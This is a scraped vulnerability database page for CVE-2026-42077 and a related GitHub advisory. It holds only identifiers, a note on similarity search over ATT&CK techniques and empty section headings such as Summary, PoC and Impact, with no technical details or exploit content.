Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-42077 (GCVE-0-2026-42077)

FKIE_CVE-2026-42077

GHSA-2CJR-5V3H-V2W4

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour